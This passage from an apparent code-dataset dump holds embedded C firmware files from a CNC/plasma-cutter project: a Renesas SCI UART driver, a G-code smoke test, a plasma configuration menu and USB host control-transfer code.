eri_handler(&ch11_ctrl);\n}\n#endif\n\n#if SCI_CFG_CH12_INCLUDED\n#pragma interrupt sci12_eri12_isr(vect=VECT(SCI12,ERI12))\nstatic void sci12_eri12_isr(void)\n{\n eri_handler(&ch12_ctrl);\n}\n#endif\n\n\n/*****************************************************************************\n* Function Name: eri_handler\n* Description : ERI interrupt handler for SCI UART mode\n* Arguments : hdl -\n* handle for channel (ptr to chan control block)\n* Return Value : none\n******************************************************************************/\n/* PRQA S 2814 ++ */\n/* GRI 1/28/2013: hdl is hard-coded non-null value in calling interrupts */\nstatic void eri_handler(sci_hdl_t const hdl)\n{\nsci_cb_args_t args;\nuint8_t byte;\n\n /* Flush register */\n byte = hdl->rom->regs->RDR;\n\n /* Do callback for error */\n if (hdl->callback != NULL)\n {\n args.hdl = hdl;\n args.byte = byte;\n if (hdl->rom->regs->SSR.BIT.ORER == 1)\n {\n args.event = SCI_EVT_OVFL_ERR;\n }\n else if (hdl->rom->regs->SSR.BIT.PER == 1)\n {\n args.event = SCI_EVT_PARITY_ERR;\n }\n else if (hdl->rom->regs->SSR.BIT.FER == 1)\n {\n args.event = SCI_EVT_FRAMING_ERR;\n }\n else\n { // PQRA 2004\n }\n hdl->callback((void *)&args);\n }\n\n /* Clear error condition */\n hdl->rom->regs->SSR.BYTE &= ~SCI_RCVR_ERR_MASK;\n while ((hdl->rom->regs->SSR.BYTE & SCI_RCVR_ERR_MASK) != 0)\n {\n byte = hdl->rom->regs->RDR; /* PRQA S 2983 */ /* 'byte' not used */\n hdl->rom->regs->SSR.BYTE &= ~SCI_RCVR_ERR_MASK;\n }\n\n}\n/* PRQA S 2814 -- */\n\n#endif // not BSP_MCU_RX63_ALL\n\n\n/*****************************************************************************\n* Function Name: R_SCI_Control\n* Description : This function configures non-standard UART hardware and\n* performs special software operations.\n*\n* WARNING: Some commands require the transmitter and receiver to be temporarily\n* disabled for the command to execute!\n* PFS and port pins must be configured prior to calling with an\n* SCI_EN_CTS_IN command.\n*\n* Arguments : hdl - \n* handle for channel (ptr to chan control block)\n* cmd -\n* command to run\n* p_args -\n* pointer argument(s) specific to command\n* Return Value : SCI_SUCCESS -\n* Command completed successfully.\n* SCI_ERR_NULL_PTR -\n* hdl or p_args is NULL\n* SCI_ERR_INVALID_ARG -\n* The cmd value or p_args contains an invalid value.\n******************************************************************************/\n/* PRQA S 3227 ++ */\n/* 3227- p_cfg could be const: if made constant, must assign to const local variable\n * at declaration. Compiler then gives warning \"type qualifier meaningless\n * on cast type\" for the p_args argument.\n */\nsci_err_t R_SCI_Control(sci_hdl_t const hdl,\n sci_cmd_t const cmd,\n void *p_args)\n{\nstatic uint32_t pclkb_speed=BSP_PCLKB_HZ; // peripheral clock speed\nsci_err_t err=SCI_SUCCESS;\nsci_baud_t *baud;\nint32_t bit_err;\nuint32_t slow_baud;\n\n\n#if (SCI_CFG_PARAM_CHECKING_ENABLE == 1)\n if ((hdl == NULL)\n || ((p_args == NULL) && (cmd == SCI_CMD_CHANGE_BAUD)))\n {\n return SCI_ERR_NULL_PTR;\n }\n#endif\n \n switch (cmd)\n {\n case (SCI_CMD_EN_NOISE_CANCEL):\n hdl->rom->regs->SCR.BYTE &= ~SCI_EN_XCVR_MASK;\n hdl->rom->regs->SEMR.BIT.NFEN = 1; // enable noise filter\n hdl->rom->regs->SNFR.BYTE = 0; // clock divided by 1 (default)\n hdl->rom->regs->SCR.BYTE |= SCI_EN_XCVR_MASK;\n break;\n \n case (SCI_CMD_EN_CTS_IN):\n \t/* PFS & port pins must be configured for CTS prior to calling this */\n hdl->rom->regs->SCR.BYTE &= ~SCI_EN_XCVR_MASK;\n hdl->rom->regs->SPMR.BIT.CTSE = 1; // enable CTS input\n hdl->rom->regs->SCR.BYTE |= SCI_EN_XCVR_MASK;\n break;\n \n case (SCI_CMD_EN_TEI):\n hdl->rom->regs->SCR.BIT.TEIE = 1; // enable TEI interrupts\n break;\n \n case (SCI_CMD_OUTPUT_BAUD_CLK):\n hdl->rom->regs->SCR.BYTE &= ~SCI_EN_XCVR_MASK;\n hdl->rom->regs->SCR.BIT.CKE = 0x01; // output baud clock on SCK pin\n hdl->rom->regs->SCR.BYTE |= SCI_EN_XCVR_MASK;\n break;\n\n#if defined(BSP_MCU_RX11_ALL)\n case (SCI_CMD_START_BIT_EDGE):\n hdl->rom->regs->SCR.BYTE &= ~SCI_EN_XCVR_MASK;\n hdl->rom->regs->SEMR.BIT.RXDESEL = 1; // detect start bit on falling edge\n hdl->rom->regs->SCR.BYTE |= SCI_EN_XCVR_MASK;\n break;\n#endif\n \n case (SCI_CMD_CHANGE_BAUD):\n baud = (sci_baud_t *)p_args;\n pclkb_speed = baud->pclk; // save for break generation\n hdl->rom->regs->SCR.BYTE &= ~SCI_EN_XCVR_MASK;\n bit_err = sci_init_bit_rate(hdl, baud->pclk, baud->rate);\n hdl->rom->regs->SCR.BYTE |= SCI_EN_XCVR_MASK;\n if (bit_err == 1000)\n {\n err = SCI_ERR_INVALID_ARG; // impossible baud rate; 100% error\n }\n else\n {\n hdl->baud_rate = baud->rate; // save for break generation\n }\n break;\n \n case (SCI_CMD_GENERATE_BREAK):\n /* flush transmit queue */\n DISABLE_TXI_INT;\n R_BYTEQ_Flush(hdl->tx_que);\n ENABLE_TXI_INT;\n \n /* NOTE: the following steps will abort anything being sent */\n \n /* set baud rate 1.5x slower */\n slow_baud = (hdl->baud_rate << 1) / 3;\n hdl->rom->regs->SCR.BYTE &= ~SCI_EN_XCVR_MASK;\n bit_err = sci_init_bit_rate(hdl, pclkb_speed, slow_baud);\n hdl->rom->regs->SCR.BYTE |= SCI_EN_XCVR_MASK;\n if (bit_err == 1000)\n {\n err = SCI_ERR_INVALID_ARG; // TODO: make diff error code?\n }\n else\n { \n /* transmit \"0\" and wait for completion */\n hdl->rom->regs->TDR = 0;\n while (hdl->rom->regs->SSR.BIT.TEND == 0)\n {\n nop();\n }\n \n /* restore original baud rate */\n hdl->rom->regs->SCR.BYTE &= ~SCI_EN_XCVR_MASK;\n sci_init_bit_rate(hdl, pclkb_speed, hdl->baud_rate);\n hdl->rom->regs->SCR.BYTE |= SCI_EN_XCVR_MASK;\n }\n break;\n \n case (SCI_CMD_TX_Q_FLUSH):\n DISABLE_TXI_INT;\n R_BYTEQ_Flush(hdl->tx_que);\n ENABLE_TXI_INT;\n break;\n \n case (SCI_CMD_RX_Q_FLUSH):\n DISABLE_RXI_INT;\n R_BYTEQ_Flush(hdl->rx_que);\n ENABLE_RXI_INT;\n break;\n\n case (SCI_CMD_TX_Q_BYTES_FREE):\n DISABLE_TXI_INT;\n R_BYTEQ_Unused(hdl->tx_que, (uint16_t *) p_args);\n ENABLE_TXI_INT;\n break;\n\n case (SCI_CMD_RX_Q_BYTES_AVAIL_TO_READ):\n DISABLE_RXI_INT;\n R_BYTEQ_Used(hdl->rx_que, (uint16_t *) p_args);\n ENABLE_RXI_INT;\n break;\n\n#if (SCI_CFG_PARAM_CHECKING_ENABLE == 1)\n default:\n err = SCI_ERR_INVALID_ARG;\n break;\n#endif\n }\n\n return err;\n}\n/* PRQA S 3227 -- */\n\n/*****************************************************************************\n* Function Name: R_SCI_Close\n* Description : Disables the SCI channel designated by the handle.\n*\n* WARNING: This will abort any xmt or rcv messages in progress.\n* NOTE: This does not disable the GROUP12 (rcvr err) interrupts.\n*\n* Arguments : hdl - \n* handle for channel (ptr to chan control block)\n* Return Value : SCI_SUCCESS -\n* channel closed\n* SCI_ERR_NULL_PTR -\n* hdl was NULL\n******************************************************************************/\nsci_err_t R_SCI_Close(sci_hdl_t const hdl)\n{\n\n\n#if (SCI_CFG_PARAM_CHECKING_ENABLE == 1)\n if (hdl == NULL)\n {\n return SCI_ERR_NULL_PTR;\n }\n#endif\n\n /* disable ICU interrupts */\n DISABLE_RXI_INT;\n DISABLE_TXI_INT;\n DISABLE_TEI_INT;\n // do not disable GROUP12 interrupts for 63N; may be active for another chan\n#ifndef BSP_MCU_RX63_ALL\n DISABLE_ERI_INT;\n#endif\n \n /* disable peripheral interrupts and xcvr (TE and RE) */\n hdl->rom->regs->SCR.BYTE = 0;\n \n /* free tx and rx queues */\n R_BYTEQ_Close(hdl->tx_que);\n R_BYTEQ_Close(hdl->rx_que);\n \n /* mark the channel as not in use and power down */\n hdl->mode = SCI_MODE_OFF;\n power_off(hdl);\n\n return SCI_SUCCESS;\n}\n\n\n/*****************************************************************************\n* Function Name: R_SCI_GetVersion\n* Description : Returns the version of this module. The version number is \n* encoded such that the top two bytes are the major version\n* number and the bottom two bytes are the minor version number.\n* Arguments : none\n* Return Value : version number\n******************************************************************************/\n#pragma inline(R_SCI_GetVersion)\nuint32_t R_SCI_GetVersion(void)\n{\nuint32_t const version = (SCI_ASYNC_VERSION_MAJOR << 16) | SCI_ASYNC_VERSION_MINOR;\n\n return version;\n}\n" }, { "alpha_fraction": 0.5428571701049805, "alphanum_fraction": 0.6620209217071533, "avg_line_length": 21.77777862548828, "blob_id": "c9ae25aee44d55e89c96155cb88a9dfdedaba0f7", "content_id": "a94b959eea52fa93f51dede0fad987d547fdd3aa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1435, "license_type": "no_license", "max_line_length": 91, "num_lines": 63, "path": "/src/cnc/tests/test_001_smoke.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * test_001_smoke.h\n *\n * This test checks basic functionality:\n *\t- motor 1 CW at full speed ~3 seconds\n *\t- motor 1 CCW at full speed ~3 seconds\n *\t- motor 2 CW at full speed ~3 seconds\n *\t- motor 2 CCW at full speed ~3 seconds\n *\t- motor 3 CW at full speed ~3 seconds\n *\t- motor 3 CCW at full speed ~3 seconds\n *\t- motor 4 CW at full speed ~3 seconds\n *\t- motor 4 CCW at full speed ~3 seconds\n *\t- all motors CW at full speed ~3 seconds\n *\t- all motors CCW at full speed ~3 seconds\n *\t- all motors CW at medium speed ~3 seconds\n *\t- all motors CCW at medium speed ~3 seconds\n *\t- all motors CW at slow speed ~3 seconds\n *\t- all motors CCW at slow speed ~3 seconds\n *\t- light LEDs 1,2 and 4 in sequence for about 1 second each:\n *\t- short finishing move\n *\n * Notes:\n *\t -\tThe character array should be derived from the filename (by convention)\n *\t - Comments are not allowed in the char array, but gcode comments are OK e.g. (g0 test)\n */\nconst char test_smoke[] PROGMEM = \"\\\n(MSG**** Smoke Test [v1] ****)\\n\\\nG00 G17 G21 G40 G49 G80 G90\\n\\\nm3g4p1\\n\\\nm5g4p1\\n\\\nm4g4p1\\n\\\nm3g4p1\\n\\\nm5g4p1\\n\\\nm7g4p1\\n\\\nm9g4p1\\n\\\nm8g4p1\\n\\\nm9\\n\\\ng0x0y0z0\\n\\\ng00 x20\\n\\\nx0\\n\\\ny20\\n\\\ny0\\n\\\nz20\\n\\\nz0\\n\\\na20\\n\\\na0\\n\\\nG00 x20 y20 z20 a20\\n\\\nG00 x0 y0 z0 a0\\n\\\nG01 f30 x2 y2 z2 a2\\n\\\nx0 y0 z0 a0\\n\\\ng0x1\\n\\\ng0x0\\n\\\nm2\";\n\n/*\nG01 f200 x10 y10 z10 a10\\n\\\nx0 y0 z0 a0\\n\\\n*/\n/*\nG02 f10000 x0 y0 z40 i27 j27\\n\\\nG03 f10000 x0 y0 z0 i27 j27\\n\\\ng0x0y0z0\\n\\\n*/\n" }, { "alpha_fraction": 0.5103130340576172, "alphanum_fraction": 0.5226886868476868, "avg_line_length": 57.04225540161133, "blob_id": "397170a0defc67c1a2d755006e73c5c55d9a889a", "content_id": "65785d9696b2b3c539428e4a08181971882e9c20", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4121, "license_type": "no_license", "max_line_length": 120, "num_lines": 71, "path": "/r_usb_basic/src/HW/inc/rx_rsk_extern.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014 Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : rx_rsk_extern.h\n* Description : RX63N RSK Extern\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n***********************************************************************************************************************/\n\n\n#ifndef __RX_RSK_EXTERN_H__\n#define __RX_RSK_EXTERN_H__\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_ctypedef.h\" /* Type define */\n\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\n/* SW input driver functions */\nextern uint16_t usb_cpu_GetKeyNo(void);\nextern void usb_cpu_AcquisitionKeyNo(void);\nextern uint8_t usb_cpu_KeepKeyNo(void);\nextern uint8_t usb_cpu_SingleKeyNo(void);\n\n/* AD driver functions */\nextern void usb_cpu_AdInit(void);\nextern uint32_t usb_cpu_AdData(void);\n\n/* LED driver functions */\nextern void usb_cpu_LedInit(void);\nextern void usb_cpu_LedSetBit(uint8_t bit, uint8_t data);\n\n/* Serial Port driver functions */\nextern uint16_t usb_cpu_Sci_Set1(uint8_t *data_rate_top, uint8_t stop_bit, uint8_t parity, uint8_t data_bit);\nextern void usb_cpu_Sci_DataSend(uint16_t mode, void *tranadr, uint16_t length);\nextern uint16_t usb_cpu_Sci_DataReceive(uint8_t *tranadr, uint16_t receive_length);\nextern uint16_t usb_cpu_Sci_StxBuffStatus(void);\nextern void usb_cpu_Sci_Buffer_init(void);\nextern void usb_cpu_Sci_HW_init(void);\nextern void usb_cpu_Sci_enable(void);\nextern void usb_cpu_Sci_disable(void);\nextern uint16_t usb_cpu_Sci_CopyData_for_Echo(void);\nextern uint16_t usb_cpu_Sci_GetSerialState(uint16_t *serial_state);\nextern uint16_t usb_cpu_Sci_EnableStatus(void);\n\n#endif /* __RX_RSK_EXTERN_H__ */\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.42692625522613525, "alphanum_fraction": 0.4373457729816437, "avg_line_length": 34.75490188598633, "blob_id": "b9fb27fef701ddfe91d2711fab08b519a7542bb3", "content_id": "399de0fa3fe84f07ec02e75942f8d2bec2c50794", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3684, "license_type": "no_license", "max_line_length": 95, "num_lines": 102, "path": "/src/states/config_menu_pl.c", "repo_name": "ustropo/MT01", "src_encoding": "ISO-8859-1", "text": "/*\n * config_menu_pl.c\n *\n * Created on: Jun 15, 2016\n * Author: LAfonso01\n */\n#include \"ut_context.h\"\n#include \"ut_state.h\"\n#include \"config_menu_pl.h\"\n#include \"eeprom.h\"\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\nut_config_var configsPl[PL_CONFIG_MAX];\n/* Initial values for each config variable */\nut_config_type pl_init_types[PL_CONFIG_MAX] =\n{\n\tUT_CONFIG_INT, //!< Altura de perfuração\n\tUT_CONFIG_INT, //!< Altura de corte\n\tUT_CONFIG_INT, //!< Velocidade de corte\n\tUT_CONFIG_INT, //!< Tempo de Perfuração\n\tUT_CONFIG_INT //!< Tensao do THC\n};\n\nchar* pl_init_names[PL_CONFIG_MAX] =\n{\n\t\" ALT. PERFURAÇÃO\", //!< Altura de perfuração\n\t\" ALTURA DE CORTE\", //!< Altura de corte\n\t\" VELOC. CORTE\", \t\t //!< Velocidade de corte\n\t\" TEMPO PERFURAÇÃO\", //!< Tempo de Perfuração\n\t\" TENSÃO THC\" //!< Tensao do THC\n};\n\nfloat pl_init_max[PL_CONFIG_MAX] =\n{\n\t50, //!< Altura de perfuração\n\t50, //!< Altura de corte\n\t7000, //!< Velocidade de corte\n\t60, \t\t //!< Tempo de Perfuração\n\tTHC_VMAX, //!< Tensao do THC\n};\n\nfloat pl_init_min[PL_CONFIG_MAX] =\n{\n\t1, //!< Altura de perfuração\n\t1, //!< Altura de corte\n\tMOTOR_VMIN, //!< Velocidade de corte\n\t0, \t\t //!< Tempo de Perfuração\n\tTHC_VMIN //!< Tensao do THC\n};\n\nfloat pl_init_step[PL_CONFIG_MAX] =\n{\n\t0.1, //!< Altura de perfuração\n\t0.1, //!< Altura de corte\n\t1, //!< Velocidade de corte\n\t0.1, //!< Tempo de Perfuração\n\t1 //!< Tensao do THC\n};\n\nuint8_t pl_init_point[PL_CONFIG_MAX] =\n{\n\t1, //!< Altura de perfuração\n\t1, //!< Altura de corte\n\t0, //!< Velocidade de corte\n\t1, //!< Tempo de Perfuração\n\t0 //!< Tensao do THC\n};\n\nchar* pl_init_unit[PL_CONFIG_MAX] =\n{\n\t\"mm\", //!< Altura de perfuração //!< Altura de perfuração\n\t\"mm\", //!< Altura de corte //!< Altura de corte\n\t\"mm/min\", //!< Velocidade de corte //!< Velocidade de corte\n\t\"s\", //!< Tempo de Perfuração //!< Tempo de Perfuração\n\t\"V\" //!< Tensao do THC //!< Tensao do THC\n};\n\nvoid initPl(void)\n{\n\tuint8_t i;\n\n\t/* Zero all values */\n\tmemset(configsPl, 0, sizeof(configsPl));\n\teepromReadConfig(CONFIGVAR_PL);\n\t/* Initialize all variables */\n\tfor(i = 0; i < PL_CONFIG_MAX; i++)\n\t{\n\t\tconfigsPl[i].type = pl_init_types[i];\n\t\tconfigsPl[i].value = &configVarPl[i];\n\t\tconfigsPl[i].valueMax = pl_init_max[i];\n\t\tconfigsPl[i].valueMin = pl_init_min[i];\n\t\tconfigsPl[i].name = pl_init_names[i];\n\t\tconfigsPl[i].unit = pl_init_unit[i];\n\t\tconfigsPl[i].step = pl_init_step[i];\n\t\tconfigsPl[i].point = pl_init_point[i];\n\t\tconfigsPl[i].currentState = STATE_CONFIG_MENU_PL;\n\t\tconfigsPl[i].currentItem = i;\n\t}\n}\n" }, { "alpha_fraction": 0.47051382064819336, "alphanum_fraction": 0.4839366376399994, "avg_line_length": 37.51271057128906, "blob_id": "5bf4a1ecc62af39c7c39ce2f5c935bd494d8a3ee", "content_id": "67660bcdfa3a4976022958b2d0b9acdf4320bc94", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 18178, "license_type": "no_license", "max_line_length": 120, "num_lines": 472, "path": "/r_usb_basic/src/driver/host/r_usb_hcontrolrw.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hcontrolrw.c\n* Description : USB Host Control read/write\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n#if (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP)\n\n/******************************************************************************\nRenesas USB FIFO Read/Write Host Driver API functions\n******************************************************************************/\n\n#ifdef USB_HOST_COMPLIANCE_MODE\n uint16_t usb_ghstd_responce_counter;\n#endif /* USB_HOST_COMPLIANCE_MODE */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_ControlWriteStart\nDescription : Start data stage of Control Write transfer.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint32_t Bsize : Data Size\n : uint8_t *Table : Data Table Address\nReturn : uint16_t : USB_WRITEEND / USB_WRITING\n : : USB_WRITESHRT / USB_FIFOERROR\n******************************************************************************/\nuint16_t usb_hstd_ControlWriteStart(USB_UTR_t *ptr, uint32_t Bsize, uint8_t *Table)\n{\n uint16_t end_flag, toggle;\n\n /* PID=NAK & clear STALL */\n usb_cstd_ClrStall(ptr, (uint16_t)USB_PIPE0);\n /* Transfer size set */\n usb_gcstd_DataCnt[ptr->ip][USB_PIPE0] = Bsize;\n /* Transfer address set */\n usb_gcstd_DataPtr[ptr->ip][USB_PIPE0] = Table;\n\n /* DCP Configuration Register (0x5C) */\n usb_creg_write_dcpcfg( ptr, (USB_CNTMDFIELD | USB_DIRFIELD) );\n /* SQSET=1, PID=NAK */\n usb_creg_set_sqset( ptr, USB_PIPE0 );\n if( usb_ghstd_Ctsq[ptr->ip] == USB_DATAWRCNT)\n {\n /* Next stage is Control read data stage */\n toggle = usb_gcstd_Pipe[ptr->ip][USB_PIPE0]->pipectr;\n /* Do pipe SQTGL */\n usb_cstd_DoSqtgl(ptr, (uint16_t)USB_PIPE0, toggle);\n }\n\n usb_creg_clr_sts_bemp( ptr, USB_PIPE0 );\n\n /* Ignore count clear */\n usb_ghstd_IgnoreCnt[ptr->ip][USB_PIPE0] = (uint16_t)0;\n\n /* Host Control sequence */\n end_flag = usb_cstd_write_data( ptr, USB_PIPE0, USB_CUSE );\n\n switch( end_flag )\n {\n /* End of data write */\n case USB_WRITESHRT:\n /* Next stage is Control write status stage */\n usb_ghstd_Ctsq[ptr->ip] = USB_STATUSWR;\n /* Enable Empty Interrupt */\n usb_creg_set_bempenb(ptr, (uint16_t)USB_PIPE0);\n /* Enable Not Ready Interrupt */\n usb_cstd_NrdyEnable(ptr, (uint16_t)USB_PIPE0);\n /* Set BUF */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0); \n break;\n /* End of data write (not null) */\n case USB_WRITEEND:\n /* continue */\n /* Continue of data write */\n case USB_WRITING:\n if( usb_ghstd_Ctsq[ptr->ip] == USB_SETUPWR )\n {\n /* Next stage is Control read data stage */\n /* Next stage is Control write data stage */\n usb_ghstd_Ctsq[ptr->ip] = USB_DATAWR;\n }\n else\n {\n /* Next stage is Control read data stage */\n usb_ghstd_Ctsq[ptr->ip] = USB_DATAWRCNT;\n }\n /* Enable Empty Interrupt */\n usb_creg_set_bempenb(ptr, (uint16_t)USB_PIPE0);\n /* Enable Not Ready Interrupt */\n usb_cstd_NrdyEnable(ptr, (uint16_t)USB_PIPE0);\n /* Set BUF */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n break;\n /* FIFO access error */\n case USB_FIFOERROR:\n break;\n default:\n break;\n }\n /* End or Err or Continue */\n return (end_flag);\n}\n/******************************************************************************\nEnd of function usb_hstd_ControlWriteStart\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_ControlReadStart\nDescription : Start data stage of Control Read transfer.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint32_t Bsize : Data Size\n : uint8_t *Table : Data Table Address\nReturn : none\n******************************************************************************/\nvoid usb_hstd_ControlReadStart(USB_UTR_t *ptr, uint32_t Bsize, uint8_t *Table)\n{\n uint16_t toggle;\n\n#ifdef USB_HOST_COMPLIANCE_MODE\n usb_ghstd_responce_counter = 0;\n \n usb_creg_clr_sts_sofr( ptr );\n usb_creg_set_intenb( ptr, USB_SOFE );\n#endif /* USB_HOST_COMPLIANCE_MODE */\n\n /* PID=NAK & clear STALL */\n usb_cstd_ClrStall(ptr, (uint16_t)USB_PIPE0);\n /* Transfer size set */\n usb_gcstd_DataCnt[ptr->ip][USB_PIPE0] = Bsize;\n /* Transfer address set */\n usb_gcstd_DataPtr[ptr->ip][USB_PIPE0] = Table;\n /* DCP Configuration Register (0x5C) */\n usb_creg_write_dcpcfg( ptr,USB_SHTNAKFIELD);\n /* SQSET=1, PID=NAK */\n usb_hreg_write_dcpctr( ptr,USB_SQSET);\n if( usb_ghstd_Ctsq[ptr->ip] == USB_DATARDCNT )\n {\n /* Next stage is Control read data stage */\n toggle = usb_gcstd_Pipe[ptr->ip][USB_PIPE0]->pipectr;\n usb_cstd_DoSqtgl(ptr, (uint16_t)USB_PIPE0, toggle);\n }\n\n /* Host Control sequence */\n if( usb_ghstd_Ctsq[ptr->ip] == USB_SETUPRD )\n {\n /* Next stage is Control read data stage */\n /* Next stage is Control read data stage */\n usb_ghstd_Ctsq[ptr->ip] = USB_DATARD;\n }\n else\n {\n /* Next stage is Control read data stage */\n usb_ghstd_Ctsq[ptr->ip] = USB_DATARDCNT;\n }\n\n /* Ignore count clear */\n usb_ghstd_IgnoreCnt[ptr->ip][USB_PIPE0] = (uint16_t)0;\n /* Interrupt enable */\n /* Enable Ready Interrupt */\n usb_creg_set_brdyenb(ptr, (uint16_t)USB_PIPE0);\n /* Enable Not Ready Interrupt */\n usb_cstd_NrdyEnable(ptr, (uint16_t)USB_PIPE0);\n /* Set BUF */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n}\n/******************************************************************************\nEnd of function usb_hstd_ControlReadStart\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_StatusStart\nDescription : Start status stage of Control Command.\nArgument : none\nReturn : none\n******************************************************************************/\nvoid usb_hstd_StatusStart(USB_UTR_t *ptr)\n{\n uint16_t end_flag;\n uint8_t buf1[16];\n\n /* Interrupt Disable */\n /* BEMP0 Disable */\n usb_creg_clr_bempenb(ptr, (uint16_t)USB_PIPE0);\n /* BRDY0 Disable */\n usb_creg_clr_brdyenb(ptr, (uint16_t)USB_PIPE0);\n /* Transfer size set */\n usb_gcstd_Pipe[ptr->ip][USB_PIPE0]->tranlen = usb_gcstd_DataCnt[ptr->ip][USB_PIPE0];\n\n /* Branch by the Control transfer stage management */\n switch( usb_ghstd_Ctsq[ptr->ip] )\n {\n /* Control Read Data */\n case USB_DATARD:\n /* continue */\n /* Control Read Data */\n case USB_DATARDCNT:\n /* Control read Status */\n usb_ghstd_Ctsq[ptr->ip] = USB_DATARD;\n /* Control write start */\n end_flag = usb_hstd_ControlWriteStart(ptr, (uint32_t)0, (uint8_t*)&buf1);\n if( end_flag == USB_FIFOERROR )\n {\n USB_PRINTF0(\"### FIFO access error \\n\");\n /* Control Read/Write End */\n usb_hstd_ControlEnd(ptr, (uint16_t)USB_DATA_ERR);\n }\n else\n {\n /* Host Control sequence */\n /* Next stage is Control read status stage */\n usb_ghstd_Ctsq[ptr->ip] = USB_STATUSRD;\n }\n break;\n /* Control Write Data */\n case USB_STATUSWR:\n /* continue */\n /* NoData Control */\n case USB_SETUPNDC:\n /* Control Read Status */\n usb_hstd_ControlReadStart(ptr, (uint32_t)0, (uint8_t*)&buf1);\n /* Host Control sequence */\n /* Next stage is Control write status stage */\n usb_ghstd_Ctsq[ptr->ip] = USB_STATUSWR;\n break;\n default:\n return;\n break;\n }\n}\n/******************************************************************************\nEnd of function usb_hstd_StatusStart\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_ControlEnd\nDescription : Call the user registered callback function that notifies \n : completion of a control transfer.\n : Command.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t status : Transfer status\nReturn : none\n******************************************************************************/\nvoid usb_hstd_ControlEnd(USB_UTR_t *ptr, uint16_t Status)\n{\n /* Interrupt Disable */\n /* BEMP0 Disable */\n usb_creg_clr_bempenb(ptr, (uint16_t)USB_PIPE0);\n /* BRDY0 Disable */\n usb_creg_clr_brdyenb(ptr, (uint16_t)USB_PIPE0);\n /* NRDY0 Disable */\n usb_creg_clr_nrdyenb(ptr, 